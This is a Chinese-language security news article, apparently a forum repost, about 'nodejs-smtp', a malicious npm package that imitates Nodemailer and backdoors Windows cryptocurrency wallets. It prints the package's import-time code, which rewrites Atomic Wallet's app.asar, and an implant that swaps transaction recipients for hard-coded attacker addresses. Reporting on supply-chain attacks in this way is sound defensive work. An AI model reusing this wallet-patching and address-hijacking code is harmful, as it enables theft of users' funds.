Socket.dev 的安全研究人员于 2025 年 8 月末发现了一场复杂的供应链攻击:攻击者利用一个名为 “nodejs-smtp” 的恶意 npm 包,伪装成广泛使用的邮件库 “Nodemailer”(该合法库的周下载量约为 390 万次)实施攻击。
初看之下,nodejs-smtp 的功能与合法的 Nodemailer 完全一致 —— 不仅提供相同的应用程序编程接口(API),还能正常发送邮件。
这种具有欺骗性的功能实则是 “特洛伊木马”,它会在后台悄悄开展秘密操作,针对 Windows 系统上安装的桌面加密货币钱包发起攻击。
(恶意 npm 包截图(来源:Socket.dev)
随着各企业持续将开源依赖项整合到自身开发流程中,攻击者也意识到 “导入时篡改” 这一手段的破坏力。
Socket.dev 的分析师指出,nodejs-smtp 在被导入时,会立即调用一个基于 Electron 框架的载荷,专门入侵 Atomic Wallet(原子钱包)、Exodus(出埃及记钱包)等加密货币钱包。
其攻击步骤为:解压钱包的 app.asar 归档文件,用恶意代码替换其中关键的供应商代码包(vendor bundle),随后重新打包归档文件 —— 通过这一系列操作,攻击者既能确保恶意代码持久存在,又能实现隐蔽攻击。
在完成上述篡改后,受感染钱包发起的任何交易都会被劫持:原本的收款地址会被替换成攻击者控制的地址。
Socket.dev 的分析师还发现,该攻击者使用 “nikotimon” 这一 npm 账号,在注入的载荷中直接硬编码了多个钱包地址。
这些地址涵盖比特币(Bitcoin)、以太坊(Ethereum)、泰达币(Tether,包含 ERC-20 和 TRC-20 两种版本)、瑞波币(XRP)以及索拉纳币(Solana)等多种主流加密货币,从而实现跨链盗窃。
尽管 nodejs-smtp 的初始下载量相对较低(发现时约为 342 次),但考虑到 Nodemailer 在生产环境中的广泛应用,该恶意包存在大规模扩散并导致大面积攻击的高风险。
基于上述发现,研究人员强烈建议开发人员和安全团队采取严格的供应链防御措施。
推荐措施包括:对 “具有副作用的导入操作” 进行实时分析;对新增依赖项严格执行代码审查政策;部署自动化工具,在包安装过程中识别 “归档文件篡改” 模式。
更值得警惕的是,当依赖项在功能上表现正常时,构建流程和持续集成(CI)系统往往无法检测到此类篡改行为,这进一步放大了风险。
感染机制与持久化策略
深入分析 nodejs-smtp 的感染策略可知,其采用两阶段攻击流程,专门利用 Electron 框架的打包格式漏洞。
在第一阶段,该包的 lib/engine/index.js 脚本会在被导入时立即执行,代码如下:
javascript
// lib/engine/index.js
const os = require('os');
const fs = require('fs').promises;
const path = require('path');
const asar = require('asar');
async function patchAtomic() {
try {
const base = path.join(os.homedir(), 'AppData', 'Local', 'Programs');
const resDir = path.join(base, 'atomic', 'resources');
const asarIn = path.join(resDir, 'app.asar');
const workDir = path.join(resDir, 'output');
const implant = path.join(__dirname, 'a.js');
const target = path.join(workDir, 'dist', 'electron', 'vendors.64b69c3b00e2a7914733.js');
await fs.mkdir(workDir, { recursive: true });
asar.extractAll(asarIn, workDir);
await fs.copyFile(implant, target);
asar.createPackage(workDir, asarIn);
await fs.rm(workDir, { recursive: true, force: true });
} catch {}
}
patchAtomic();
这段代码的作用是:解压加密货币钱包的归档文件,用恶意载荷 a.js 覆盖供应商代码包,然后重新打包经过完整性校验的归档文件,以掩盖攻击痕迹。
当钱包下次启动时,a.js 会拦截交易创建过程,并替换收款地址 —— 这样一来,所有对外转账都会被转移到攻击者的账户,代码逻辑如下:
javascript
// lib/engine/a.js
async sendCoins() {
if (await this.validatePassword()) {
if (this.coin.ticker === 'BTC')
this.inputs.address = '17CNLs7rHnnBsmsCWoTq7EakGZKEp5wpdy';
else if (this.coin.ticker === 'ETH' || this.coin.ticker === 'USDT')
this.inputs.address = '0x26Ce898b746910ccB21F4C6316A5e85BCEa39e24';
// 此处省略针对TRX-USDT、XRP、SOL等币种的地址映射代码
}
}
由于 nodejs-smtp 的恶意代码在 “导入阶段” 就会执行,那些仅在 “运行时” 检查函数调用的静态扫描工具根本无法检测到它。这种 “导入时挂钩” 的持久化攻击手段,凸显了开源生态系统中威胁形势的不断演变 —— 也因此,具备 “供应链安全意识” 的防护措施变得愈发重要。
版权声明·<<<---红客联盟--->>>>·免责声明
1. 本版块文章内容及资料部分来源于网络,不代表本站观点,不对其真实性负责,也不构成任何建议。
2. 部分内容由网友自主投稿、编辑整理上传,本站仅提供交流平台,不为该类内容的版权负责。
3. 本版块提供的信息仅作参考,不保证信息的准确性、有效性、及时性和完整性。
4. 若您发现本版块有侵犯您知识产权的内容,请及时与我们联系,我们会尽快修改或删除。
5. 使用者违规、不可抗力(如黑客攻击)或第三方擅自转载引发的争议,联盟不承担责任。
6. 联盟可修订本声明,官网发布即生效,继续使用视为接受新条款。
1. 本版块文章内容及资料部分来源于网络,不代表本站观点,不对其真实性负责,也不构成任何建议。
2. 部分内容由网友自主投稿、编辑整理上传,本站仅提供交流平台,不为该类内容的版权负责。
3. 本版块提供的信息仅作参考,不保证信息的准确性、有效性、及时性和完整性。
4. 若您发现本版块有侵犯您知识产权的内容,请及时与我们联系,我们会尽快修改或删除。
5. 使用者违规、不可抗力(如黑客攻击)或第三方擅自转载引发的争议,联盟不承担责任。
6. 联盟可修订本声明,官网发布即生效,继续使用视为接受新条款。
联系我们:admin@chnhonker.com